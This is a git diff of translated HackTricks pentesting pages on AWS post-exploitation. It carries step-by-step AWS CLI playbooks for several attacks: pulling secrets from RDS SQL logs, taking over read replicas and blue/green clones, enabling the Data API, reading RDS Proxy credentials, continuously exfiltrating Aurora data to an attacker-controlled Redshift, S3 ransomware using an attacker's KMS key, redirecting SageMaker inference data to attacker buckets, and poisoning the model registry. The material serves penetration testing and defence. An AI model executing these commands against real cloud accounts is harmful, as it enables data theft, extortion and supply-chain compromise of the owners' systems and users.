-2) カスタム DB parameter group がアタッチされていることを確認する（cannot edit the default）
-- インスタンスが既にカスタムグループを使用している場合、次のステップでその名前を再利用する。
-- そうでない場合は、エンジンファミリーに合わせたものを作成してアタッチする:
+2) カスタム DB パラメータグループがアタッチされていることを確認する（デフォルトは編集できない）
+- インスタンスが既にカスタムグループを使用している場合は、次の手順でその名前を再利用する。
+- それ以外の場合は、エンジンファミリーに合ったものを作成してアタッチする：
 ```bash
 # Example for PostgreSQL 16
 aws rds create-db-parameter-group \
@@ -196,7 +196,7 @@ aws rds modify-db-instance \
 --apply-immediately
 # Wait until status becomes "available"
 ```
-3) 詳細な SQL ロギングを有効にする
+3) 詳細なSQLログを有効にする
 - MySQL engines (即時 / 再起動不要):
 ```bash
 aws rds modify-db-parameter-group \
@@ -220,11 +220,11 @@ aws rds modify-db-parameter-group \
 # Reboot if any parameter is pending-reboot
 aws rds reboot-db-instance --db-instance-identifier <DB>
 ```
-4) ワークロードを実行させる (またはクエリを生成する)。ステートメントはエンジンのファイルログに書き込まれます
+4) ワークロードを実行する（またはクエリを生成する）。ステートメントはエンジンのファイルログに書き込まれます
 - MySQL: `general/mysql-general.log`
 - PostgreSQL: `postgresql.log`
 
-5) ログを検出してダウンロードする (no DB creds required)
+5) ログを発見してダウンロードする（DB 資格情報は不要）
 ```bash
 aws rds describe-db-log-files --db-instance-identifier <DB>
 
@@ -235,11 +235,11 @@ aws rds download-db-log-file-portion \
 --starting-token 0 \
 --output text > dump.log
 ```
-6) オフラインで機密データを分析する
+6) 機密データを検出するためにオフラインで解析する
 ```bash
 grep -Ei "password=|aws_access_key_id|secret|authorization:|bearer" dump.log | sed 's/\(aws_access_key_id=\)[A-Z0-9]*/\1AKIA.../; s/\(secret=\).*/\1REDACTED/; s/\(Bearer \).*/\1REDACTED/' | head
 ```
-証拠の例（編集済）：
+例の証拠（編集済み）:
 ```text
 2025-10-06T..Z    13 Query  INSERT INTO t(note) VALUES ('user=alice password=Sup3rS3cret!')
 2025-10-06T..Z    13 Query  INSERT INTO t(note) VALUES ('authorization: Bearer REDACTED')
@@ -261,11 +261,11 @@ aws rds modify-db-parameter-group \
 "ParameterName=log_statement,ParameterValue=none,ApplyMethod=pending-reboot"
 # Reboot if pending-reboot
 ```
-影響: Post-exploitation によるデータアクセス。AWS APIs を介してアプリケーションの全ての SQL ステートメントを取得でき（no DB creds）、secrets、JWTs、PII を leak する可能性がある。
+影響: AWS APIs を介してアプリケーションの全ての SQL ステートメントをキャプチャすることによる事後侵害でのデータアクセス（DB creds 不要）、potentially leaking secrets, JWTs, and PII.
 
 ### `rds:CreateDBInstanceReadReplica`, `rds:ModifyDBInstance`
 
-RDS read replicas を悪用して、プライマリインスタンスの認証情報に触れずにアウトオブバンドでの読み取りアクセスを得ることができます。攻撃者は本番インスタンスから read replica を作成し、レプリカのマスターパスワードをリセットできます（これはプライマリを変更しません）。必要に応じて、データを exfiltrate するためにレプリカを公開することも可能です。
+RDS の read replicas を悪用して、プライマリインスタンスの資格情報に触れることなく out-of-band の読み取りアクセスを取得します。攻撃者は本番インスタンスから read replica を作成し、レプリカのマスターパスワードをリセットすることができ（これはプライマリを変更しません）、必要に応じてレプリカを公開してデータを exfiltrate できます。
 
 Permissions needed (minimum):
 - `rds:DescribeDBInstances`
@@ -273,7 +273,7 @@ Permissions needed (minimum):
 - `rds:ModifyDBInstance`
 - `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress` (if exposing publicly)
 
-影響: 攻撃者が制御する資格情報を持つレプリカを介した本番データへの読み取り専用アクセス。プライマリが触れられずレプリケーションが継続するため、検知されにくい。
+影響: 攻撃者が制御する資格情報でレプリカ経由の本番データへの読み取り専用アクセスが可能。プライマリが触られずレプリケーションが継続するため、検出される可能性が低くなります。
 ```bash
 # 1) Recon: find non-Aurora sources with backups enabled
 aws rds describe-db-instances \
@@ -304,13 +304,13 @@ REPL_ENDPOINT=$(aws rds describe-db-instances --db-instance-identifier <REPL_ID>
 # Optional: promote for persistence
 # aws rds promote-read-replica --db-instance-identifier <REPL_ID>
 ```
-証拠の例 (MySQL):
-- レプリカDBステータス: `available`, 読み取りレプリケーション: `replicating`
+証拠の例（MySQL）:
+- レプリカDBのステータス: `available`、読み取りレプリケーション: `replicating`
 - 新しいパスワードでの接続に成功し、`@@read_only=1` により読み取り専用レプリカへのアクセスが確認された。
 
 ### `rds:CreateBlueGreenDeployment`, `rds:ModifyDBInstance`
 
-RDS Blue/Green を悪用して、本番DBを継続的にレプリケートされる読み取り専用の green 環境にクローンします。次に green master credentials をリセットして、blue (prod) instance に触れることなくデータへアクセスします。これは snapshot sharing よりもステルス性が高く、しばしばソースのみに焦点を当てた監視を回避します。
+RDS Blue/Greenを悪用して、本番DBを継続的にレプリケートされる読み取り専用のgreen環境へクローンします。次にgreenのマスター資格情報をリセットして、blue (prod) インスタンスに触れずにデータへアクセスします。これはsnapshot sharingよりステルス性が高く、ソースのみに注力した監視を回避することが多い。
 ```bash
 # 1) Recon – find eligible source (non‑Aurora MySQL/PostgreSQL in the same account)
 aws rds describe-db-instances \
@@ -357,21 +357,22 @@ aws rds delete-blue-green-deployment \
 --blue-green-deployment-identifier <BGD_ID> \
 --delete-target true
 ```
-影響: 本番インスタンスを変更せず、ほぼリアルタイムの本番クローンに対して読み取り専用ながら完全なデータアクセスを得られる。ステルスなデータ抽出やオフライン解析に有用。
+影響: 本番インスタンスを変更せずに、本番のニアリアルタイムなクローンに対して読み取り専用ながらフルデータアクセスが可能です。ステルスなデータ抽出やオフライン解析に有用です。
 
-### RDS Data API 経由のアウトオブバンド SQL（HTTP endpoint を有効化 + マスター・パスワードをリセット）
 
-ターゲットクラスターで RDS Data API の HTTP endpoint を有効化するよう Aurora を悪用し、マスター・パスワードを自分が制御する値にリセットして、HTTPS 上で SQL を実行する（VPC のネットワーク経路は不要）。Data API/EnableHttpEndpoint をサポートする Aurora エンジンで動作する（例: Aurora MySQL 8.0 provisioned、いくつかの Aurora PostgreSQL/MySQL バージョン）。
+### Out-of-band SQL via RDS Data API by enabling HTTP endpoint + resetting master password
 
-権限（最小）:
+Aurora を悪用してターゲットクラスタで RDS Data API HTTP endpoint を有効化し、master password を自分で管理する値にリセットして、HTTPS 経由で SQL を実行します（VPC ネットワーク経路は不要）。Data API/EnableHttpEndpoint をサポートする Aurora エンジンで動作します（例: Aurora MySQL 8.0 provisioned; 一部の Aurora PostgreSQL/MySQL バージョン）。
+
+必要な権限（最小）:
 - rds:DescribeDBClusters, rds:ModifyDBCluster (or rds:EnableHttpEndpoint)
 - secretsmanager:CreateSecret
-- rds-data:ExecuteStatement (および rds-data:BatchExecuteStatement を使用する場合)
+- rds-data:ExecuteStatement (and rds-data:BatchExecuteStatement if used)
 
-影響: ネットワーク分離を回避し、DB への直接的な VPC 接続なしに AWS APIs 経由でデータを持ち出せる。
+影響: ネットワーク分離を回避し、DB への直接的な VPC 接続なしに AWS APIs 経由でデータを抽出して持ち出すことができます。
 
 <details>
-<summary>エンドツーエンド CLI（Aurora MySQL の例）</summary>
+<summary>End-to-end CLI (Aurora MySQL の例)</summary>
 ```bash
 # 1) Identify target cluster ARN
 REGION=us-east-1
@@ -424,23 +425,23 @@ aws rds-data execute-statement --region $REGION --resource-arn "$CLUSTER_ARN" \
 </details>
 
 注意:
-- If multi-statement SQL is rejected by rds-data, issue separate execute-statement calls.
-- For engines where modify-db-cluster --enable-http-endpoint has no effect, use rds enable-http-endpoint --resource-arn.
-- Ensure the engine/version actually supports the Data API; otherwise HttpEndpointEnabled will remain False.
+- rds-data によってマルチステートメント SQL が拒否される場合は、個別に execute-statement を実行してください。
+- modify-db-cluster --enable-http-endpoint が効果を持たないエンジンでは、rds enable-http-endpoint --resource-arn を使用してください。
+- エンジン/バージョンが実際に Data API をサポートしていることを確認してください。そうでないと HttpEndpointEnabled は False のままになります。
 
 
-### RDS Proxy の認証用 secrets 経由で DB 資格情報を収集する (`rds:DescribeDBProxies` + `secretsmanager:GetSecretValue`)
+### RDS Proxy の認証用 Secrets Manager シークレット経由で DB 資格情報を収集 (`rds:DescribeDBProxies` + `secretsmanager:GetSecretValue`)
 
-RDS Proxy の設定を悪用してバックエンド認証に使用される Secrets Manager の secret を特定し、その secret を読み取ってデータベースの資格情報を取得します。多くの環境では広範な `secretsmanager:GetSecretValue` が付与されており、これにより DB 資格情報への低摩擦なピボットが可能になります。secret が CMK を使用している場合、誤った KMS 権限により `kms:Decrypt` が可能になることもあります。
+RDS Proxy の設定を悪用してバックエンド認証に使われている Secrets Manager シークレットを特定し、そのシークレットを読み取ってデータベース資格情報を取得します。多くの環境では `secretsmanager:GetSecretValue` が広範に許可されており、DB 資格情報への低摩擦なピボットになります。シークレットが CMK を使用している場合、範囲を誤った KMS 権限により `kms:Decrypt` が可能になることもあります。
 
-必要な権限（最小）:
+Permissions needed (minimum):
 - `rds:DescribeDBProxies`
-- 参照されている SecretArn に対する `secretsmanager:GetSecretValue`
-- secret が CMK を使用している場合（任意）: そのキーに対する `kms:Decrypt`
+- `secretsmanager:GetSecretValue` on the referenced SecretArn
+- Optional when the secret uses a CMK: `kms:Decrypt` on that key
 
-影響: プロキシに設定された DB のユーザー名/パスワードが即座に開示される。これにより直接の DB アクセスやさらなる横方向移動が可能になります。
+Impact: Immediate disclosure of DB username/password configured on the proxy; enables direct DB access or further lateral movement.
 
-手順
+Steps
 ```bash
 # 1) Enumerate proxies and extract the SecretArn used for auth
 aws rds describe-db-proxies \
@@ -453,7 +454,7 @@ aws secretsmanager get-secret-value \
 --query SecretString --output text
 # Example output: {"username":"admin","password":"S3cr3t!"}
 ```
-ラボ（再現の最小構成）
+ラボ（再現に必要な最小構成）
 ```bash
 REGION=us-east-1
 ACCOUNT_ID=$(aws sts get-caller-identity --query Account --output text)
@@ -479,17 +480,17 @@ aws iam detach-role-policy --role-name rds-proxy-secret-role --policy-arn arn:aw
 aws iam delete-role --role-name rds-proxy-secret-role
 aws secretsmanager delete-secret --secret-id rds/proxy/aurora-demo --force-delete-without-recovery
 ```
-### Aurora zero‑ETL を使った Amazon Redshift へのステルスな継続的 exfiltration (rds:CreateIntegration)
+### ステルスな継続的データ流出 via Aurora zero‑ETL to Amazon Redshift (rds:CreateIntegration)
 
-Aurora PostgreSQL zero‑ETL integration を悪用して、本番データを自分が管理する Redshift Serverless namespace に継続的に複製します。特定の Aurora cluster ARN に対して CreateInboundIntegration/AuthorizeInboundIntegration を許可する寛容な Redshift resource policy がある場合、攻撃者は DB creds、snapshots、ネットワーク露出なしでほぼリアルタイムのデータコピーを確立できます。
+Aurora PostgreSQL zero‑ETL integrationを悪用して、本番データをあなたが管理するRedshift Serverless namespaceに継続的に複製します。特定のAurora cluster ARNに対してCreateInboundIntegration/AuthorizeInboundIntegrationを許可する緩いRedshift resource policyがある場合、攻撃者はDB creds、スナップショット、ネットワーク露出なしでほぼリアルタイムのデータコピーを確立できます。
 
-必要な権限（最小）:
+必要な権限（最低）:
 - `rds:CreateIntegration`, `rds:DescribeIntegrations`, `rds:DeleteIntegration`
 - `redshift:PutResourcePolicy`, `redshift:DescribeInboundIntegrations`, `redshift:DescribeIntegrations`
 - `redshift-data:ExecuteStatement/GetStatementResult/ListDatabases` (to query)
 - `rds-data:ExecuteStatement` (optional; to seed data if needed)
 
-テスト済み: us-east-1, Aurora PostgreSQL 16.4 (Serverless v2), Redshift Serverless.
+テスト済み: us-east-1、Aurora PostgreSQL 16.4 (Serverless v2)、Redshift Serverless。
 
 <details>
 <summary>1) Redshift Serverless namespace + workgroup を作成</summary>
@@ -508,7 +509,7 @@ aws redshift-serverless update-workgroup --region $REGION --workgroup-name ztl-w
 </details>
 
 <details>
-<summary>2) Redshift のリソースポリシーを構成して Aurora ソースを許可する</summary>
+<summary>2) Redshift のリソースポリシーを設定して Aurora ソースを許可する</summary>
 ```bash
 ACCOUNT_ID=$(aws sts get-caller-identity --query Account --output text)
 SRC_ARN=<AURORA_CLUSTER_ARN>
@@ -539,7 +540,7 @@ aws redshift put-resource-policy --region $REGION --resource-arn "$RS_NS_ARN" --
 </details>
 
 <details>
-<summary>3) Aurora PostgreSQL クラスターを作成する (Data API と logical replication を有効にする)</summary>
+<summary>3) Aurora PostgreSQL クラスターを作成（Data API と logical replication を有効化）</summary>
 ```bash
 CLUSTER_ID=aurora-ztl
 aws rds create-db-cluster --region $REGION --db-cluster-identifier $CLUSTER_ID \
@@ -570,7 +571,7 @@ SRC_ARN=$(aws rds describe-db-clusters --region $REGION --db-cluster-identifier
 </details>
 
 <details>
-<summary>4) RDS から zero‑ETL 統合を作成する</summary>
+<summary>4) RDS から zero‑ETL インテグレーションを作成する</summary>
 ```bash
 # Include all tables in the default 'postgres' database
 aws rds create-integration --region $REGION --source-arn "$SRC_ARN" \
@@ -582,7 +583,7 @@ aws redshift describe-inbound-integrations --region $REGION --target-arn "$RS_NS
 </details>
 
 <details>
-<summary>5) Redshiftで複製されたデータをマテリアライズしてクエリする</summary>
+<summary>5) Redshift でレプリケートされたデータをマテリアライズしてクエリする</summary>
 ```bash
 # Create a Redshift database from the inbound integration (use integration_id from SVV_INTEGRATION)
 aws redshift-data execute-statement --region $REGION --workgroup-name ztl-wg --database dev \
@@ -597,10 +598,10 @@ aws redshift-data execute-statement --region $REGION --workgroup-name ztl-wg --d
 
 テストで観察された証拠:
 - redshift describe-inbound-integrations: Status ACTIVE for Integration arn:...377a462b-...
-- SVV_INTEGRATION は、DB 作成前に integration_id 377a462b-c42c-4f08-937b-77fe75d98211 と state PendingDbConnectState を表示していました。
-- CREATE DATABASE FROM INTEGRATION 実行後、テーブルを一覧表示すると schema ztl と table customers が見つかり、ztl.customers から選択すると 2 行 (Alice, Bob) が返されました。
+- SVV_INTEGRATION は integration_id 377a462b-c42c-4f08-937b-77fe75d98211 と state PendingDbConnectState を DB 作成前に示した。
+- CREATE DATABASE FROM INTEGRATION の後、テーブル一覧を確認するとスキーマ ztl とテーブル customers があり、ztl.customers を選択すると 2 行 (Alice, Bob) が返った。
 
-影響：攻撃者が制御する Redshift Serverless へ、選択した Aurora PostgreSQL テーブルをデータベース資格情報、バックアップ、またはソースクラスタへのネットワークアクセスを使用せずに、継続的かつほぼリアルタイムで exfiltration を行える可能性があります。
+影響: 攻撃者が制御する Redshift Serverless へ、選択された Aurora PostgreSQL テーブルの継続的かつほぼリアルタイムの exfiltration を、database credentials、backups、または network access to the source cluster を使用せずに行える。
 
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation.md
deleted file mode 100644
index a58fb09bd..000000000
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation.md
+++ /dev/null
@@ -1,38 +0,0 @@
-# AWS - S3 ポストエクスプロイテーション
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## S3
-
-詳細については、以下を確認してください：
-
-{{#ref}}
-../aws-services/aws-s3-athena-and-glacier-enum.md
-{{#endref}}
-
-### 機密情報
-
-時には、バケット内で読み取れる機密情報を見つけることができます。例えば、terraformの状態秘密。
-
-### ピボッティング
-
-異なるプラットフォームがS3を使用して機密資産を保存している可能性があります。\
-例えば、**airflow**が**DAGs**の**コード**をそこに保存しているか、**ウェブページ**がS3から直接提供されているかもしれません。書き込み権限を持つ攻撃者は、バケットの**コードを変更**して他のプラットフォームに**ピボット**したり、JSファイルを変更して**アカウントを乗っ取る**ことができます。
-
-### S3 ランサムウェア
-
-このシナリオでは、**攻撃者が自分のAWSアカウント**または別の侵害されたアカウントにKMS（キー管理サービス）キーを作成します。次に、この**キーを世界中の誰でもアクセスできるようにします**。これにより、任意のAWSユーザー、ロール、またはアカウントがこのキーを使用してオブジェクトを暗号化できるようになります。ただし、オブジェクトは復号化できません。
-
-攻撃者はターゲットの**S3バケットを特定し、さまざまな方法で書き込みレベルのアクセスを取得**します。これは、公開されている不適切なバケット構成や、攻撃者がAWS環境自体にアクセスを得ることによるものです。攻撃者は通常、個人を特定できる情報（PII）、保護された健康情報（PHI）、ログ、バックアップなどの機密情報を含むバケットをターゲットにします。
-
-バケットがランサムウェアのターゲットになり得るかどうかを判断するために、攻撃者はその構成を確認します。これには、**S3オブジェクトバージョニング**が有効になっているか、**多要素認証削除（MFA削除）が有効になっているか**を確認することが含まれます。オブジェクトバージョニングが有効でない場合、攻撃者は進むことができます。オブジェクトバージョニングが有効だがMFA削除が無効な場合、攻撃者は**オブジェクトバージョニングを無効にする**ことができます。オブジェクトバージョニングとMFA削除の両方が有効な場合、攻撃者がその特定のバケットをランサムウェアにするのはより困難になります。
-
-AWS APIを使用して、攻撃者は**バケット内の各オブジェクトを自分のKMSキーを使用して暗号化されたコピーに置き換えます**。これにより、バケット内のデータが暗号化され、キーなしではアクセスできなくなります。
-
-さらなる圧力を加えるために、攻撃者は攻撃に使用されたKMSキーの削除をスケジュールします。これにより、ターゲットはキーが削除される前にデータを回復するための7日間のウィンドウを持つことになります。
-
-最後に、攻撃者は通常「ransom-note.txt」と名付けられた最終ファイルをアップロードし、ターゲットがファイルを取得する方法に関する指示を含めます。このファイルは暗号化されずにアップロードされ、ターゲットの注意を引き、ランサムウェア攻撃を認識させるためのものです。
-
-**詳細については** [**元の研究を確認してください**](https://rhinosecuritylabs.com/aws/s3-ransomware-part-1-attack-vector/)**。**
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation/README.md
new file mode 100644
index 000000000..07aaef44c
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation/README.md
@@ -0,0 +1,38 @@
+# AWS - S3 Post Exploitation
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## S3
+
+For more information check:
+
+{{#ref}}
+../../aws-services/aws-s3-athena-and-glacier-enum.md
+{{#endref}}
+
+### Sensitive Information
+
+バケット内で可読状態の機密情報が見つかることがあります。例えば、terraform state シークレットなど。
+
+### Pivoting
+
+Different platforms could be using S3 to store sensitive assets.\
+例えば、**airflow** がそこに **DAGs** **code** を保存していることがあり、あるいは **web pages** が S3 から直接配信されている場合があります。書き込み権限を持つ攻撃者は、バケット内の **modify the code** を変更して他のプラットフォームへ **pivot** したり、JS ファイルを改ざんして **takeover accounts** する可能性があります。
+
+### S3 Ransomware
+
+このシナリオでは、**attacker creates a KMS (Key Management Service) key in their own AWS account** または別の侵害されたアカウントで KMS キーを作成します。次に、この **key accessible to anyone in the world** にして、任意の AWS user、role、または account がこのキーを使ってオブジェクトを暗号化できるようにします。ただし、オブジェクトは復号できません。
+
+攻撃者はターゲットの **S3 bucket and gains write-level access** を特定し、さまざまな方法で書き込み権限を取得します。これはバケットの設定不備で公開されている場合や、攻撃者が AWS 環境自体にアクセスした場合などが考えられます。攻撃者は通常、PII、PHI、ログ、バックアップなどの機密情報を含むバケットを狙います。
+
+バケットが ransomare の対象になり得るかを判断するため、攻撃者はその設定を確認します。これには、**S3 Object Versioning** が有効か、**multi-factor authentication delete (MFA delete) is enabled** かどうかの確認が含まれます。Object Versioning が有効でない場合、攻撃者は進行できます。Object Versioning が有効で MFA delete が無効であれば、攻撃者は **disable Object Versioning** することができます。もし両方が有効であれば、その特定のバケットを ransomware するのはより困難になります。
+
+Using the AWS API、攻撃者は **replaces each object in the bucket with an encrypted copy using their KMS key** を実行します。これによりバケット内のデータが実質的に暗号化され、キーがなければアクセスできなくなります。
+
+さらに圧力をかけるため、攻撃者は攻撃に使用した KMS キーの削除をスケジュールします。これによりターゲットはキー削除前の 7 日間でデータを回復する時間が与えられ、キーが削除されるとデータは永久に失われます。
+
+最後に、攻撃者は通常 "ransom-note.txt" という名前のファイルをアップロードして、被害者がファイルを取り戻す方法を指示することがあります。このファイルは暗号化せずにアップロードされることが多く、被害者の注意を引いて ransomware 攻撃を認識させる目的があります。
+
+**For more info** [**check the original research**](https://rhinosecuritylabs.com/aws/s3-ransomware-part-1-attack-vector/)**.**
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sagemaker-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sagemaker-post-exploitation/README.md
new file mode 100644
index 000000000..7a35ee257
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sagemaker-post-exploitation/README.md
@@ -0,0 +1,178 @@
+# AWS - SageMaker Post-Exploitation
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## SageMaker endpoint のデータ吸い上げ (UpdateEndpoint DataCaptureConfig 経由)
+
+モデルやコンテナに触れることなく、SageMaker エンドポイント管理を悪用して、攻撃者が管理する S3 バケットへのリクエスト/レスポンスを完全にキャプチャできるようにする。ゼロ/低ダウンタイムのローリングアップデートを使用し、必要なのはエンドポイント管理の権限だけ。
+
+### 要件
+- IAM: `sagemaker:DescribeEndpoint`, `sagemaker:DescribeEndpointConfig`, `sagemaker:CreateEndpointConfig`, `sagemaker:UpdateEndpoint`
+- S3: `s3:CreateBucket` (または同じアカウント内の既存のバケットを使用)
+- オプション（SSE‑KMS を使用する場合）: 選択した CMK に対する `kms:Encrypt`
+- ターゲット: 同じアカウント/リージョン内の既存の InService リアルタイムエンドポイント
+
+### 手順
+1) InService エンドポイントを特定し、現在のプロダクションバリアントを収集する
+```bash
+REGION=${REGION:-us-east-1}
+EP=$(aws sagemaker list-endpoints --region $REGION --query "Endpoints[?EndpointStatus=='InService']|[0].EndpointName" --output text)
+echo "Endpoint=$EP"
+CFG=$(aws sagemaker describe-endpoint --region $REGION --endpoint-name "$EP" --query EndpointConfigName --output text)
+echo "EndpointConfig=$CFG"
+aws sagemaker describe-endpoint-config --region $REGION --endpoint-config-name "$CFG" --query ProductionVariants > /tmp/pv.json
+```
+2) attacker S3 destination を captures 用に準備する
+```bash
+ACC=$(aws sts get-caller-identity --query Account --output text)
+BUCKET=ht-sm-capture-$ACC-$(date +%s)
+aws s3 mb s3://$BUCKET --region $REGION
+```
+3) 同じ variants を維持したまま、DataCapture を attacker bucket に有効化する新しい EndpointConfig を作成する
+
+注：CLI の検証を満たす明示的なコンテンツタイプを使用してください。
+```bash
+NEWCFG=${CFG}-dc
+cat > /tmp/dc.json << JSON
+{
+"EnableCapture": true,
+"InitialSamplingPercentage": 100,
+"DestinationS3Uri": "s3://$BUCKET/capture",
+"CaptureOptions": [
+{"CaptureMode": "Input"},
+{"CaptureMode": "Output"}
+],
+"CaptureContentTypeHeader": {
+"JsonContentTypes": ["application/json"],
+"CsvContentTypes": ["text/csv"]
+}
+}
+JSON
+aws sagemaker create-endpoint-config \
+--region $REGION \
+--endpoint-config-name "$NEWCFG" \
+--production-variants file:///tmp/pv.json \
+--data-capture-config file:///tmp/dc.json
+```
+4) rolling update で新しい config を適用する（ダウンタイム最小/なし）
+```bash
+aws sagemaker update-endpoint --region $REGION --endpoint-name "$EP" --endpoint-config-name "$NEWCFG"
+aws sagemaker wait endpoint-in-service --region $REGION --endpoint-name "$EP"
+```
+5) 少なくとも1回の推論呼び出しを行う（ライブトラフィックが存在する場合は任意）
+```bash
+echo '{"inputs":[1,2,3]}' > /tmp/payload.json
+aws sagemaker-runtime invoke-endpoint --region $REGION --endpoint-name "$EP" \
+--content-type application/json --accept application/json \
+--body fileb:///tmp/payload.json /tmp/out.bin || true
+```
+6) attacker S3 にあるキャプチャを検証する
+```bash
+aws s3 ls s3://$BUCKET/capture/ --recursive --human-readable --summarize
+```
+### 影響
+- ターゲットのエンドポイントから攻撃者が管理する S3 バケットへ、リアルタイム推論のリクエストおよびレスポンスのペイロード（およびメタデータ）を完全に持ち出すことが可能。
+- model/container image に変更を加えず、エンドポイントレベルの変更のみで、運用への影響を最小限にしたステルスなデータ窃取経路を実現。
+
+## SageMaker 非同期推論出力のハイジャック（UpdateEndpoint AsyncInferenceConfig 経由）
+
+現在の EndpointConfig を複製し、AsyncInferenceConfig.OutputConfig の S3OutputPath/S3FailurePath を設定することで、エンドポイント管理を悪用して非同期推論出力を攻撃者が管理する S3 バケットへリダイレクトします。これにより model/container を変更せずに、モデルの予測（およびコンテナが含める変換済み入力）を持ち出すことができます。
+
+### 要件
+- IAM: `sagemaker:DescribeEndpoint`, `sagemaker:DescribeEndpointConfig`, `sagemaker:CreateEndpointConfig`, `sagemaker:UpdateEndpoint`
+- S3: モデル実行ロールまたは許容的なバケットポリシーを通じて攻撃者が管理する S3 バケットへ書き込めること
+- 対象: 非同期呼び出しが現在（または今後）利用される InService エンドポイント
+
+### 手順
+1) 対象エンドポイントから現在の ProductionVariants を収集する
+```bash
+REGION=${REGION:-us-east-1}
+EP=<target-endpoint-name>
+CUR_CFG=$(aws sagemaker describe-endpoint --region $REGION --endpoint-name "$EP" --query EndpointConfigName --output text)
+aws sagemaker describe-endpoint-config --region $REGION --endpoint-config-name "$CUR_CFG" --query ProductionVariants > /tmp/pv.json
+```
+2) attacker bucket を作成する（model execution role が PutObject できることを確認する）
+```bash
+ACC=$(aws sts get-caller-identity --query Account --output text)
+BUCKET=ht-sm-async-exfil-$ACC-$(date +%s)
+aws s3 mb s3://$BUCKET --region $REGION || true
+```
+3) EndpointConfig を Clone して、AsyncInference の出力を攻撃者バケットに hijack する
+```bash
+NEWCFG=${CUR_CFG}-async-exfil
+cat > /tmp/async_cfg.json << JSON
+{"OutputConfig": {"S3OutputPath": "s3://$BUCKET/async-out/", "S3FailurePath": "s3://$BUCKET/async-fail/"}}
+JSON
+aws sagemaker create-endpoint-config --region $REGION   --endpoint-config-name "$NEWCFG"   --production-variants file:///tmp/pv.json   --async-inference-config file:///tmp/async_cfg.json
+aws sagemaker update-endpoint --region $REGION --endpoint-name "$EP" --endpoint-config-name "$NEWCFG"
+aws sagemaker wait endpoint-in-service --region $REGION --endpoint-name "$EP"
+```
+4) 非同期呼び出しをトリガーし、オブジェクトがattacker S3に到達することを確認する
+```bash
+aws s3 cp /etc/hosts s3://$BUCKET/inp.bin
+aws sagemaker-runtime invoke-endpoint-async --region $REGION --endpoint-name "$EP" --input-location s3://$BUCKET/inp.bin >/tmp/async.json || true
+sleep 30
+aws s3 ls s3://$BUCKET/async-out/ --recursive || true
+aws s3 ls s3://$BUCKET/async-fail/ --recursive || true
+```
+### 影響
+- 非同期推論の結果（およびエラーボディ）を攻撃者が管理する S3 にリダイレクトし、モデルコードやイメージを変更せず、ほとんどまたは全くダウンタイムを発生させずに、コンテナが生成する予測結果や前処理/後処理された入力を密かに流出させることを可能にする。
+
+
+## SageMaker Model Registry supply-chain injection via CreateModelPackage(Approved)
+
+If an attacker can CreateModelPackage on a target SageMaker Model Package Group, they can register a new model version that points to an attacker-controlled container image and immediately mark it Approved. Many CI/CD pipelines auto-deploy Approved model versions to endpoints or training jobs, resulting in attacker code execution under the service’s execution roles. Cross-account exposure can be amplified by a permissive ModelPackageGroup resource policy.
+
+### 要件
+- IAM（既存グループを汚染するための最小権限）: 対象の ModelPackageGroup に対する `sagemaker:CreateModelPackage`
+- オプション（グループが存在しない場合に作成するため）: `sagemaker:CreateModelPackageGroup`
+- S3: 参照される ModelDataUrl への読み取りアクセス（または攻撃者管理のアーティファクトをホスト）
+- 対象: 下流の自動化が Approved バージョンを監視している Model Package Group
+
+### 手順
+1) リージョンを設定し、対象の Model Package Group を作成／検索する
+```bash
+REGION=${REGION:-us-east-1}
+MPG=victim-group-$(date +%s)
+aws sagemaker create-model-package-group --region $REGION --model-package-group-name $MPG --model-package-group-description "test group"
+```
+2) S3にダミーのモデルデータを準備する
+```bash
+ACC=$(aws sts get-caller-identity --query Account --output text)
+BUCKET=ht-sm-mpkg-$ACC-$(date +%s)
+aws s3 mb s3://$BUCKET --region $REGION
+head -c 1024 </dev/urandom > /tmp/model.tar.gz
+aws s3 cp /tmp/model.tar.gz s3://$BUCKET/model/model.tar.gz --region $REGION
+```
+3) パブリックな AWS DLC イメージを参照する悪意のある（ここでは無害な）Approved model package version を登録する
+```bash
+IMG="683313688378.dkr.ecr.$REGION.amazonaws.com/sagemaker-scikit-learn:1.2-1-cpu-py3"
+cat > /tmp/inf.json << JSON
+{
+"Containers": [
+{
+"Image": "$IMG",
+"ModelDataUrl": "s3://$BUCKET/model/model.tar.gz"
+}
+],
+"SupportedContentTypes": ["text/csv"],
+"SupportedResponseMIMETypes": ["text/csv"]
+}
+JSON
+aws sagemaker create-model-package --region $REGION   --model-package-group-name $MPG   --model-approval-status Approved   --inference-specification file:///tmp/inf.json
+```
+4) 新しい Approved バージョンが存在することを確認する
+```bash
+aws sagemaker list-model-packages --region $REGION --model-package-group-name $MPG --output table
+```
+### 影響
+- Model Registry を、攻撃者管理下のコードを参照する Approved バージョンで汚染します。Approved モデルを自動デプロイするパイプラインは攻撃者のイメージを pull して実行する可能性があり、endpoint/training ロールの権限でコード実行が発生します。
+- 寛容な ModelPackageGroup リソースポリシー（PutModelPackageGroupPolicy）がある場合、この悪用はクロスアカウントで誘発され得ます。
+
+## Feature store poisoning
+
+OnlineStore が有効な Feature Group に対して `sagemaker:PutRecord` を悪用し、online inference が消費するライブの feature 値を上書きします。`sagemaker:GetRecord` と組み合わせると、攻撃者は機密性の高い feature を読み取ることができます。これはモデルやエンドポイントへのアクセスを必要としません。
+
+{{#ref}}
+feature-store-poisoning.md
+{{/ref}}
